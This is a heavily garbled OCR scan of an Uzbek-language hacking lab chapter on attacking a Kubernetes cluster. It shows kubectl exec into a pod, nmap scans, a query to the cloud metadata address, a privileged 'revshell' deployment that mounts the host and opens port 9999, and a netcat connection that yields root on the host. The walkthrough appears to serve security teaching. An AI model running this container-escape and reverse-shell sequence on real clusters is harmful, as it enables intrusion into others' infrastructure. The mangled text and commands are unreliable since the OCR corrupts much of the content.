amzn2.x86 64 #] SMp Tue Jul 20
64x86_64 GNLyL inwyx

-la /var/rmr/secrenheme.'e.s'!es. 1o/

1oken®

== .data/ namespace
~data/ca,cry

Bir muddatga, bi Xakerlik
gan konteynerga kirish
oshirish uchun konteyn

gilgan
imkoniyatinj qo‘lga ki
er ichida “kubect] exec™ bu
nerning shell bilan o‘zaro alogada bo‘lishnj simul

lik nuqtai nazaridan, bajarish mumkin bo‘lgan bir nech

buyruglar qo*shimcha eksplualatsiya qilishda yordam be

bilan ishlayotganinj ko‘rsatadj,

Topilgan papka “/var/lib/kubec
qaydnomasi bo|

bu esa Amazon Linux 2
tl.lo/serviceaccount/"

hun Jupyter

igan bir nechta konteyner
atoriya uchun foydalanish

va Chegaralangan tushunchaga ega bo‘l-

iritildi deb hisoblanadi. Buni amalga
Yrug®idan foydalanib, kontey-
Yatsiya qilinadi. Amaliy-aniq-
a bu)’ruqlar mavjud. BL_I
radi. “/ete” papkaiaridagl
hunishga yordam beradi.
2 ishlab chigilgan Linux
tarqatilishini anglatadi.
Kubemetes xizmat hisob

lan Kubernetes konfigurat-

¢ i sozlamalar bi
huquglardan foydalanish uchun kerakli soz

i *zio* hilar
il o) . : i jarish ba’zio*quve

siya faylini tuzish nnl;nﬂ\ln(;.ini R—" sl1ei]lﬁfid:3:]%( i

“ ot exec” buyrug ; oIl ichida, ichi .

kUbeul-t_lec- An go'lishi mumkin. Bales: i ro'y:'r;atga_qlac:l:

o i di. “kubectl get pods” u}I;l‘f:qiladi va qatorning birinchi

e s g e 'Ld' bu har bir qatorni 12 l’ ustuni) oladi. “awk™ buy-

i oliod Oitkazlil?‘ gacha (bu holaida, nomar b so°zini beradi. Ushbu
bo*lagini birinchi bo*shliqg

. - {tubas 4 .I‘}a-
- va kevingi natija faga iymat bo‘lg
‘i NAME ni olib tashlaydi va keyIng Jadi. Nom pseudorandom g1y
Sl dom konteyner nom! bo
natija pseudorandom )

iy buyrug“idir.
ish uchun asos1y =
4 ishda olish u * o*i Bash
jymatini doimiy " lashtiriladi. Natija buyrug’i
ni uchun, bu konteyner qiy d bo*lgan joyga joy
. L L1 a\!iu & . »
Ushbu giymat =$( )" mav,  pajaradi. ;
rshi baj 4 tashqari,
ey e ; ynerga qa aridan ’
el ushibu L(l)nl?;m K ubernetes huquilnq bo-lsa, qanday
R 7 a]]c¢ 2 . Iﬂrl =¢ X
" Maxsus 59‘; larni bajarish imKonIga
I maxsus vazifal -

il kin? NS untu bo‘l-
amalga oshirishimiz mum i Ushbu tizim Ub

i pa ; i . ta‘rishi va shunchaki
Odatda tarmoqdag! p s bu holatda 12 ini tekshirib ko'rishi v dan S0°DE:
dirish mumkin, Kubernetes B . = . matlar tsiya qilgan '

; o X ’ ra
hi o*zining -etida konfigu R et

e t‘o}-'dalﬂnU‘]"L_h:mmkm root sifatid da ishlatiladiga

h‘ . s s e % a1151|[

0°zIni tizimini o°IM

i ko
- dalanuveh

bu Kubernetesda boshqa foydal
foydalanuvchidir.

agar bu xizmat hlSO-:
:Elo"shimcha ishlarni

ib qo‘shimcha xizmatlarni qi-

10
] pmap neat =)
o anf install cul . kB
¢ apt update -y f;‘ééﬁ-m’ pnRelease [114 P/
roati@bash- 7-5»{15'{658-:3::;?{: .c'om,r’ub unt ;{;ﬁffﬂ 119~20.04.1) -

: = Veoenrifii .'1)."-
i et
Processing triggers/™ Jefe/ssl/certy-

Uf;{;;ff"g C{,rﬂ‘ﬁcﬂf{'s :;”,;; = y mfg‘(?‘..‘
0 added. 0 removed; f,a ortificates’ upch —2)
R m'ug: hooks in ,.-'u:.;._..cc;ffr'}.-__> lat 3,s,,;em-ﬂ'maz?ocagw'.
”:’ y - - L' o[/ .
BR 9.254/1ates 95,55
<——-OMITTED FOR 1 hip://169.25%] i 165533 ({92. 168
done, ) <0 Quebv:/H# et v/ # nmap 9:55 UT
-5 fe 5 8-8vX .58-8vx 51.08-04 19
root@bash-73fjdc J 1 -7 3fdC ) at 2021
192.168.95. 55f'ﬂf’;‘g;,"’;;}pc.-xmmaf; ‘;’3 -
. 7 7.4 3 3
Starting Nmap - 192.1 68.9
eport jor 17+ i
Nmap scan repo? g .u,ur:‘_l)A
}.{:;I::ris ”;] fﬂ 00”00{5 (JS :’:;0,-;5
No;' shown: 63526 L;{(Jf;:
PORT STATE fER V
22/tcp open ssh J
[11/tcp open rPCb?:feci
10.?50pr apgﬂ H”A:ﬂ i
10256 ‘tep open HNLH(,“IH
31090/tcp open ”""_ﬂ;,,.”
31300 tcp open ”n!‘.”gwn
32578 tep open unkn

tad
ey




61678/tcp open w known

Nmap done: | 1p address (] host Up) scanned in 1.31 seconds

root@bash- 75fdc38-8vx Gy /4 nmap -sV -n --scripy= http-headers, htip-ritle
192.168.95.55 - 1-655350

Starting Nmap 7.80 fmp.s'://nmap. g ) at 2021-08-04 1958 ure
Nmap scan report for 192.168.95.55

Host is up (000000905 latency).

Not shown: 65526 closed pors

PORT STATE SERy, CE VERSION

22/tep open ssh OpenSSH 7.4
<==-OMITTED FOR BREVITY
10250/tcp open ss

(protocol 2.()

>

Vhttp Golang net/http servey (Gr)-H’!-‘.S'_,i.\-rm-r;ov orlnfluxDB AP
<==-OMITTED FOR BREVITY...>

[(Request lype: GET)

|_http-title: Site doesn't have 4 title (textiplain; chayse

[=uf-8),

=—=OMITTED FOR pRrE VITY--->

31090/tcp open http Golang net/hitp servey (Go-IPFS ISOn-rpe orinfluxDB AP 1)
| http-title: Prometheus Time Series Colle . :

ction anel Pmc'e.\'.\'fng Server
\_Requested resource vwqy /graph

<-==OMITTED FOR BREVITY...>
31300/tcp open unknowp

. ﬁfrgerpr!m-srf'.*'ugs:

| FourOhFourRe quest:

|HTTP/1.0 302 Found

| href= Nogin">Fou 10 </g>.

325 78/tep open hitp Node.js Expresy Sramewoy i
[_htip-title: WeaveSocks@

Nmap done: | 1p address (1 hosy Up) scanned iy 88.79 seconds

" % foydalanish Uchun kerakli vositalarni yuk-
* ¢ L1 113 4 e " 2 > 5
» Netcat™ vg CURL™n; O’rnatish. Ko'p[ab holatlarda. bu vosfla

0°lishi Mumkin, masalan, ba’zi vosita-

Va shuning uchun bu boshflaf_“a'
etesda Kubernetes agenti bilan
: gan modullar AWg tizimida ygy,
nadi. By Amazondan ma’lumot|a
liy IPv4 manzilin; olish mumkip,

llar ma’lumotlari xizmatidan 01;'
di. Ushbu APp] yordamida mahal-

tarmoqdagi filtrlashni ko‘l"Satad.i‘
ot : ydalanib, portlarn; skanerlash va NSE skriptlari-
n1 ishlatish orqali ko > . kin:

b chigiladi, Bu B Kuber-
1 chiqiladi. Bu portlar
. 1ikni tekshirib chiqila pporbat EIEE
g I;ekflls]L1 mumkin. Keymngl ;:1;\(: oo
ot iy tarmogda Yo ;
alliy . L

o E;n :l]:riptlarini ishlatib HTTP haq
i mKin. L
i hShSZ:Ees Database“.t‘mm}n‘l
i 302 qaytarilishn! /login
ot -c'a kirish uchun qaytzi
n;:ortda «“\eaveSocks

i

1D250:1025% portiaricas & -5
netes AP| serverida isma.Sh-ll;:lmkin. v
30000 diapazondagi bobhs,]-“ Agar “pmap” NS
orqali ochiq bo*lishi mumkin. Ag

ega
’lumotga eg¢ **
. .0 prog ma us Tim
3 *plansa. ko P ’ ot 0111&[118 ;
dama lunlml Uf}gpﬂl()qo pomdﬂ Pruchuﬂ ishlatila i
Masalan. - itoring o rotuasiz HZIT
k ~'-1d kin. Bu tizim monior: = avtorizatstySSe, g
0'Tish mum 'l. di bu foydalanuy di Shuningdek, 32
sahifasida ko riladi. .+ ocrsatadl.
Yo'naltirilishi mumkinhigin! ko

iZimini : dn.
Uzimini ko*rish mumki ]

Shunday qilib. m-n?(:gumkin-
ko*proq ma’lumot olish

-~ i i }"anada
ii iS'l a 1

: ilish
ga hujuml(ilb ishlatish mum-

i chun
t berilgan, shun'lng 'ui "
- dan foydalamb, fzimg
H 1 JO -
Irlzvrra ikki yo | bilan yon
=

er :
ishi 30.5: APLECE L onday di
horatori‘\'ﬂ 18 I
La

ivib chi

' kshlrlb c
- p larni 1€ : ve la
Tizimdagi huquq Kirish nazorat  gilib bu huquqasa
Kinligini aniglanadi. kin. Qanday in? Bum

. nkit
: irish mumRgit: h mut -
buni amalga oshiris! iqini holda t1 e
yan (1 hﬂqurmq kirish huqud Saps B.,mda);5 DR vositalari ¥ oki
ada ¢ ’ ni 1.
; - talar
dashish mumkin: rda vosité

l bunday holatlarda
3 31" a : : :
1. Mahalliy konteyner iq]al’llb'hl un

: ‘shni vaxshi
idan af i, Sysdi ni qanday ishlatishn 3
sizlik vositalari tomon yositalart- 2 d kodlar

; ‘sjoa X0 ; mav]

Kubernetesning 3 él[i]:q]]bu yositalar il o
»ra oladi. Us i ishiatist d
Yordam b'ual 0 5113]3“1'“ - kalillarda'_] fO.Yﬂa

tushunadi. 4 ylanadigd fig” va xizma

2. Konteynerlar ! klasterlar&? ubelet-conts

. . . ‘]] Va o s as =
tashqarida ishlatis

2 ilad!.
. jsom » ; oshir
Bu “‘/var:‘lib:’kl-lbelﬂ!w“::lrga ' amqui. Ushbu h

| : o*rnatiladi,
. . - l]ar }I . tan a"h; ’ e nen“ 0 m
e o= {'ﬂ}’ hi variant «epatilgan kontey
Bu holatda birin¢ i
u
amalga oshiradi: .
contey
1. Local kontey™ |
] e
bu esa Bash shellni ishg

imni xavf-

i klasterdan
teynerlarni k i,
alanish mumKin.
d ¢ [P manzillarini

risidd
shqa

q i I ?’ mi
J

- g
d chkdoorbllan adi va lokal tizin
1. a L .

a lushil‘ﬂdl- kanerlashn

igiladi.
rbilan > ap chiqi
huquql® arni KO h30/La

2, BarchadllOEEIagi ma’ umoﬂu GHHY6/C
Kirish uchun dis .

n s cyadi.
:eani bajars U(-:.l erda ochiq gilib a0 ¥
Ushbu vazifa®l "5 adic i dast

i o et kerak portt L ot
Vidagi ikkita faY) oo 9 B sip
i “ncat—svc-,):_“éu asosiy JOY

__uncat-yml .

; amalga oshiril

j u-
b katalogida joylashgan g




Skriptning ayrim

qismlari muhim emas: faqat har bir
bilan tugatish va “Ent

er” tugmasini bosish kKerak:

bo*limni “EOF" so‘zi

(kali€kali)-[ ~/GHHv6/ch30/Lab /

S kubectl exec -it Stkubect! 8el pods | awk ' print §1}" | grep -v NAME |
grep bash) - /bin/bash@
root@bash-75ffde58-8vx6v:/4 oq (mp&
root@bash-75ffdess-
= apiVersion: v}
<===OMITTED FOR BREV|TY-
= run: revshell
> EOFO
root'@bash- 73fjde58-8vx6v:/tmp# cap < <EOF >> neat,ymie
= apiVersion: apps/v] ’
<==-OMITTED FOR BREV|TY...~
> path: /

~,

-

> EOF

SVX6V/tmp# cat << [ OF >> neat-sve. yml@

LS

Birinchi barariladigan ama] — B
dir, bu foydali dastlabki harakat his
bo*lgan kashfiyot bosgichiga o¢tjsh
hisoblanadi). Bir necha “.yml”

ash konteynerining mavjudligini tekshirish-

oblanadi. By yerda fayllarni yozish mumkin
mumkin (masajan,_ “/tmp™ odatda yaxshi joy
fayllarini yaraigp, uchun “cat <<EOF™ ishlatiladi.
di. Ushbu faylnj localxostdan topish mumkin va

kunlashi kerak. “caddy-

. ' d b 2 ‘ng. « . “ni ish-
IiPpatgh oot oo o P a bo l'ganda‘n 50°ng, “kubectl ni ish
1. Pod port 9999 p; ochadi,

2. Pod barcha Xostning PID’larin;
o‘rnatadi. ,

3 “‘/etc” katalogini Xostdan kontey
So‘ngra, ushby podga ulanish my
bilan kirishga imkon beradi,

mubhit O°zgaruvchilarini va tarmogqnt

Nerga o*rnatad;j.

mkin, bu esa konteynerga yuqori imtiyozlar

root@bash-75f4e 5 8-8vx6y;

Amp# e -
.’iuux/amdtﬁ/kubecﬁ”o P# curl -0

"https://dr k8s.io/release

1.20.0/bin/
% Total % Received % Xferd Aver, _
Dload Upload 7otat Spent Lefi -5??:;3 Speed Time Time Time Curren
1001541001540 15559, " e
10038.3M 100 38301 0 9 68 317 5 A

rool@bash- 75ffdes8-

P emleeten 116M
BVX6V: /ynpi
mn!@bask-?.’iﬂdca‘& P G

X /kubect
81?.\‘61’:fmrpf-‘ kubectl pie

apply -
dep!o_vm ent. appsirevshel] COHﬁgured Pply f ncat.ymi@®

: ; s fneat-sve.yml®

yot@ bash-75ffdc38-8vx6v./tmp# ./ kubect! apply =f ne
root! sh-73f
service/revshell cm;ﬁgm‘a{‘;f -
oot@bash-73ffde3s-Sx6vmp® e
NAME TYPE CLUSTER-IP EXTERNA L}- aiis e
Kubernetes ClusterlP 10.100.0.1 <noe ne> 9999/TCP 25h
evshell ClusterlP 10.100.128.2520 o 252 99990
“: :' :hm‘h l_SﬁE&'.i(‘?-S\',\'61':;'”::;}.—"5 neat 10,
roo sh-72f

whoami®
raot anib yuklab olinadi, bu
keladigan qilib belgila-
ini eslab qoling. Fa}.flm
izmat tavsifi bilan

¢I” buyrugidan foydal
versiyasiga mos
lish mumkinhg e

ni v :
(‘J'Illl:z:zl” konteynerini O'I‘-l:lata.dt,
“Kkubectl get sve” baja-
[P manzilini qo'lc-ia
odatiy shell, leknT
hunchaki

Tegishli “kubect!” m.yi.ln,ll L;tl?lrninﬂ
verda “kubeetl” versiyasini K ?lsumomih 5
nadi. “/version™ orqali bu m-i]an so‘ng. uni K
bajariladigan qilib so?_ianganl kin bo‘ladi. Bu “k )
qo*llash uchun ishiaush'“_“."\_1:ltga ega bo"lagii. X:zn'ntz;tn;mil
; I;On 991??_?\213?; sfii\fhi{-- deb atalgan xizmatni top
rish orqali tek .

in bo‘ladi. Bu
: nkin bo‘la .
ulanish U ' itish kerak emas: s
-da konteynerga srugni kutis
ushlab, port 9999 [d?tl;ilan shuning uchun buyruq
ko*tarilgan huquqlat

ozish yetarli.
“whoami™ kabi buyruq }OZIfilmlzaﬁdan
Vaziyatni anglash nuqt?;rda sl
=1 o - - [-nc}f! : : i, irn
synerga o-tildiz bu ko e
- ngga'zlaai kabi buyruglarni baj
uyidag

teyner:

n tashgarida bo‘lgan kon-
Bu nima beradi? '
joan super imtiyozli kon-

asl konteynerdﬂ
kon berad

Is@
bin
e[ TY---7
?.0{1).1.11 TTED FOR BR EVIT
usr
var
cd /host®
Is
hin

ATY-—-=
iomOMITTED FOR BREVIT
usr
var :9999
PORT

{.)ﬂ‘l.?o QQQQFT(-P.__ i rerna!
i WH?{?,_-P&?;{?_ 168- 9_;‘-3::. ic?. in

STNAME= -~ AT
f-(-)-o.a (TTED FOR BREI

=/ Tost ; -
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